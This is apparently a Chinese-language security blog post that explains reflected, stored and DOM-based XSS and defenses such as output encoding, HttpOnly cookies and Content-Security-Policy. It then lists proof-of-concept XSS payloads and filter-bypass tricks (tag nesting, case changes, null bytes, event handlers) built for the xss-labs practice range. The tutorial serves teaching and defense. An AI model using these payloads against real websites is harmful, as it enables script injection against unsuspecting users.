XSS类型,防御及常见payload构造总结

什么是XSS?

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。
最直接的例子:<script>alert(1)</script>

XSS分类:

反射型,存储型,DOM XSS

  反射型:

攻击者通过指定的方式诱惑被攻击者访问一个含恶意代码的URL,当点击链接时,恶意代码在电脑上执行。
以xss-labs的Less-1为例
keyword的赋值会回显到页面,浏览器响应xss poc
因此可以构造以下语句
<script>alert('XSS')</script>
补充一:

XSS绕过 — 关于htmlspecicalchars()函数
htmlspecicalchars()函数把预定义的字符转换为HTML实体。
预定义的字符是:
&    成为        &amp
"     成为        &quot
'    成为        &#039
<    成为        &It('
>    成为        &gt

可用的引号类型:
ENT_COMPAT - 默认,仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
补充二:

http_only防护下的XSS
http-only: 只允许http或https请求读取cookie、JS代码是无法读取cookie的(document.cookie会显示http-only的cookie项被自动过滤掉)。发送请求时自动发送cookie.
secure-only: 只允许https请求读取,发送请求时自动发送cookie。
host-only: 只允许主机域名与domain设置完成一致的网站才能访问该cookie。

  存储型:

存储型的攻击脚本被存储到了数据库或者文件中,服务端在读取了存储的内容回显了。就是存储型。这种情况下用户直接打开正常的页面就会看到被注入。
基本流程:攻击方把恶意代码提交到网站 ==》 网站把XSS代码存到数据库==》其他用户请求页面时,服务器把带有恶意代码的数据传到客户端==》执行代码==》完成攻击
常见的就是留言板XSS,用户提交一条包含XSS代码的留言保存到数据库,目标查看时就会触发以上一系列行为

  DOM XSS

基于文档对象模型Document Objeet Model 的一种漏洞。如果DOM中的数据没有经过严格的确认,就会产生DOM XSS漏洞。
eg:

<script>
function test(){
    var str = document.getElementById("text").value;
    document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
}

</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="ti jiao" onclick="test()" />

得到该页面以后,在输入框中输入任意,可得到一个链接

“ti jiao”按钮的onclick事件调用test()函数,在该函数中,修改了页面DOM节点,通过innerHTML把一段用户的输入当做HTML写入页面中,造成该漏洞。
当输入以下语句时

' onclick=alert(1) //

该部分将变为

<a href='' onclick=alert(1) //' >testLink</a>
点击“ti jiao ”然后点击超链接
则会出现

XSS防御手段

  使用xss fileter

针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:
  • 表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。
  • 过滤或移除特殊的 html 标签:<script>、<iframe>等。
  • 过滤 js 事件的标签:onclick、onerror、onfocus等。

  html实体

显示结果
描述
实体编号
 
空格
&nbsp ;
<
小于
&lt ;
>
大于
&gt ;
&
&amp ;
''
引号
&quot ;

  编码转义

  1.HTMLEncode,就是将字符转换成HTMLEntities,一般会转(&、<、>、"、'、/)这6个字 符。
  2.JavaScriptEncode,是使用”\“对特殊字符进行转义。

  防御XSS的几个函数:

setcookie,通过将参数设置为true可以使cookie不能被js获取
htmlspecialchars()将html标签以实体输出
htmlentities()与上相同
escapeHTML()
strip_tags将标签去除
对json内容的转义escapeEmbedJSON()
自定义xss过滤器
应该关注新出现的html标签,可能这些标签还没有被过滤,可能触发xss

  X-XSS-Protection设置

目前该属性被所有的主流浏览器默认开启XSS保护。该参数是设置在响应头中目的是用来防范XSS攻击的。它有如下几种配置:
值有如下几种:默认为1.
0:禁用XSS保护。
1:启用XSS保护。
1;mode=block; 启用xss保护,并且在检查到XSS攻击是,停止渲染页面。

  XSS 防御之 URL 编码

作用范围:将不可信数据作为 URL 参数值时需要对参数进行 URL 编码
编码规则:将参数值进行 encodeURIComponent 编码
编码代码如下:

function encoding(str){
  return encodeURIComponent(str);
};

  XSS 防御之 CSS 编码

作用范围:将不可信数据作为 CSS 时进行 CSS 编码
比如:通过css构造(background-img:url\expression\link-href@import)

<div style="background-image: url(javascript:alert('xss'));"></div>
<style>body{background-image: url("javascript:alert('xss')");}</style>
编码规则:除了字母数字字符以外,使用\XXXXXX格式来转义ASCII值小于256的所有字符。 编码代码如下:

function encoding(attr, str){
  let encoded = '';
  for (let i = 0; i < str.length; i++) {
    let ch = str.charAt(i);
    if (!ch.match(/[a-zA-Z0-9]/) {
      let hex = str.charCodeAt(i).toString(16);
      let pad = '000000'.substr((hex.length));
      encoded += '\\' + pad + hex;
    } else {
      encoded += ch;
    }
  }
  return encoded;
};

  XSS防御之javascript编码

在html中还存在很多支持协议解析的html属性,比如 onclick, onerror, href, src 等这些,类似这些属性我们是无法通过HTML编码来防范XSS攻击的。因为浏览器会先解析html编码的字符,将其转换为该属性的值,但是该属性本身支持JS代码执行,因此游览器在HTML解码后,对该属性的值进行JS解析,因此会执行响应的代码。
比如如下代码是可以点击的。

<a href="javascript:alert('xiao')" target="_blank">href xss</a>
如果我们对该进行html属性编码一下,还是可以点击的,
如代码:
<a href="javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x20;HTML编码无效&#x27;&#x29;" targ
页面还是可以点击的。

  CSP防御

Content-Security-Policy 中文的意思是 网页安全政策
通过 Content-Security-Policy 网页的开发者可以控制整个页面中外部资源的加载和执行。
使用方法:
在meta属性中设置:
<meta http-equiv="Content-Security-Policy" content="">
eg:

<meta http-equiv="Content-Security-Policy" content="
default-src http: https:  *.xiao.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.xxx.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">
default-src(默认设置):信任 http ,https协议资源,信任当前域名资源,信任符合*.xiao.com的域名资源

default-src 'self';
self = 端口,协议,域名相同则信任(允许)
tyle-src(CSS设置):信任当前域名资源,允许内嵌的CSS资源,信任来自*.xxx.com下的CSS资源。
script-src(js设置):信任当前域名资源,允许内嵌的JS执行,允许将字符串当作代码执行
大致可分为以下几类:

default-src 给下面所有的规则设定一个默认值
script-src 外部脚本
style-src 样式表
img-src 图像
media-src 媒体文件(音频和视频)
font-src 字体文件
object-src 插件(比如 Flash)
child-src 框架
frame-ancestors 嵌入的外部资源(比如、<iframe>、和)
connect-src HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src worker脚本
manifest-src manifest 文件

CSP2规范中:
child-src 有效的 web workers 和 元素来源,如 <frame> 和 <iframe> (这个指令用来替代 CSP 1 中废弃了的 frame-src 指令)
form-action 可以作为 HTML <form> 的 action 的有效来源
frame-ancestors 使用 <frame>,<iframe>,<object>,<embed> 或 <applet> 内嵌资源的有效来源
upgrade-insecure-requests 命令用户代理来重写 URL 协议,将 HTTP 改到 HTTPS (为一些需要重写大量陈旧 URL 的网站提供了方便)。

同时
CSP 2 允许你添加路径到白名单中(CSP 1 只允许域名被添加到白名单中)。

常见payload构造

(主要依据xss-labs靶场进行构造)

  对script标签进行一次移除操作(嵌套欺骗):

<scr<script>ipt>alert('xss')</scr<script>ipt>
script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:

<script>alert("XSS")</script>
<script src="http://baidu.com"></script>

  属性内输出闭合标签

"><script>alert('xss')</script>

  javascript事件

例如点击,页面加载,移动鼠标等
< onfocus=javascript:alert('XSS') >
<div οnmοuseenter="alert('xss')">

  iframe标签

<iframe src="javascript:alert(1)">

  action

<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>

  大小写绕过

<sCRipt>alert(1)</sCript>

  双写绕过

<sscriptcript>alert('XSS')</sscriptcript>

  编码绕过/特殊字符绕过

利用href属性引号中的内容可以使用空字符,空格,tab换行,注释,特殊的函数将代码隔开
javascrip%0at:alert('xss')
//%0a(换行符)将代码隔开
javascrip%0at:alert('xss')<!--http://-->
javascrip%0at:alert('xss')//http://
javascrip%0at:alert('xss')/*http://*/
//3-5为注释绕过

  angular.min.js javascript框架

补充:
ng-include可以包含一个html文件(但不限于html文件), 但只是加载一个静态页面显示在前端,不会加载里面的js, 使用时要在文件名要用单引号包起来,

  空字节

最长用来绕过mod_security防火墙,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

  src属性

<img src=x      οnerrοr=prompt(1);>

参考:

posted @ 2020-10-29 19:14  3cH0_Nu1L  阅读(2050)  评论(0编辑  收藏  举报